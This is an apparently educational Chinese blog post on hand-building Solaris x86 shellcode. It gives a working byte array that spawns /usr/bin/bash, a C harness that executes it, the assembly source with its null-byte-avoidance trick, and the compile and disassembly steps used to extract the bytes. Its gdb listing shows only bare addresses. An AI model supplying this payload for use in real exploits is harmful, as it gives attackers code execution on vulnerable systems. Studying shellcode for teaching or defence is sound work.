static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42
\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01
\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68
\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51
\x53\xb0\x0b\xe8\xc7\xff\xff\xff";
int main() {
void (*fun)();
fun = (void*)shell;
fun();
return 0;
}
以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。
本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。
因为在C语言中字符数组是以‘\0’结尾的,在实际攻击代码中使用时,诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00,比如movl $0x0, %eax应该使用xorl %eax, %eax代替。
这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。
汇编代码如下(为调试方便,每行只含一条指令):
shellcode.c
void main(){
__asm__("xorl %eax,%eax\n\t");
__asm__("jmp .+0xb\n\t");
__asm__("popl %edx\n\t");
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
__asm__("jmp .+0x0f\n\t");
__asm__("call .-0x9\n\t");
__asm__("lcall $0x107,$0x1010101\n\t");
__asm__("ret\n\t");
__asm__("pushl %eax\n\t");
__asm__("movb $0x17,%al\n\t");
__asm__("call .-0xb\n\t");
__asm__("xorl %eax,%eax\n\t");
__asm__("pushw $0x68\n\t");
__asm__("pushl $0x7361622f\n\t");
__asm__("pushl $0x6e69622f\n\t");
__asm__("pushl $0x7273752f\n\t");
__asm__("movl %esp,%ebx\n\t");
__asm__("pushl %eax\n\t");
__asm__("pushl %ebx\n\t");
__asm__("leal (%esp),%ecx\n\t");
__asm__("leal 0x4(%esp),%edx\n\t");
__asm__("pushl %edx\n\t");
__asm__("pushl %ecx\n\t");
__asm__("pushl %ebx\n\t");
__asm__("movb $0xb,%al\n\t");
__asm__("call .-0x34\n\t");
}
系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00,通过
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段,才能直接执行。因为通常代码段是只读的,不能在运行时修改代码段的指令。
四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。
使用gcc编译该文件:
gcc -o shellcode -g -ggdb shellcode.c
通过gdb进行调试并得到二进制指令:
gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.10"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08050673
0x08050674
0x08050676
0x08050679
0x0805067c
0x08050681
0x08050683
0x08050685
0x08050687
0x08050688
0x0805068b
0x0805068e
0x08050690
0x08050695
0x0805069c
0x0805069d
0x0805069e
0x080506a0
0x080506a5
0x080506a7
0x080506aa
0x080506af
0x080506b4
0x080506b9
0x080506bb
0x080506bc
0x080506bd
0x080506c0
0x080506c4
0x080506c5
0x080506c6
0x080506c7
0x080506c9
0x080506ce
0x080506cf
End of assembler dump.
(gdb)
通过gdb确定代码中jmp和call指令的偏移值。
-bash-3.00# dis -F main ./shellcode
**** DISASSEMBLER ****
disassembly for ./shellcode
section .text
main()
main: 55 pushl %ebp
main+0x1: 8b ec movl %esp,%ebp
main+0x3: 83 ec 08 subl $0x8,%esp
main+0x6: 83 e4 f0 andl $0xfffffff0,%esp
main+0x9: b8 00 00 00 00 movl $0x0,%eax
main+0xe: 2b e0 subl %eax,%esp
main+0x10: 33 c0 xorl %eax,%eax
main+0x12: eb 09 jmp +0xb
main+0x14: 5a popl %edx
main+0x15: 89 42 01 movl %eax,0x1(%edx)
main+0x18: 88 42 06 movb %al,0x6(%edx)
main+0x1b: eb 0d jmp +0xf
main+0x1d: e8 f2 ff ff ff call -0x9
main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101
main+0x29: c3 ret
main+0x2a: 50 pushl %eax
main+0x2b: b0 17 movb $0x17,%al
main+0x2d: e8 f0 ff ff ff call -0xb
main+0x32: 33 c0 xorl %eax,%eax
main+0x34: 66 6a 68 pushw $0x68
main+0x37: 68 2f 62 61 73 pushl $0x7361622f
main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f
main+0x41: 68 2f 75 73 72 pushl $0x7273752f
main+0x46: 8b dc movl %esp,%ebx
main+0x48: 50 pushl %eax
main+0x49: 53 pushl %ebx
main+0x4a: 8d 0c 24 leal (%esp),%ecx
main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx
main+0x51: 52 pushl %edx
main+0x52: 51 pushl %ecx
main+0x53: 53 pushl %ebx
main+0x54: b0 0b movb $0xb,%al
main+0x56: e8 c7 ff ff ff call -0x34
main+0x5b: c9 leave
main+0x5c: c3 ret
-bash-3.00#
从main+0x10开始的33 c0就是我们需要的shellcode了。
No comments:
Post a Comment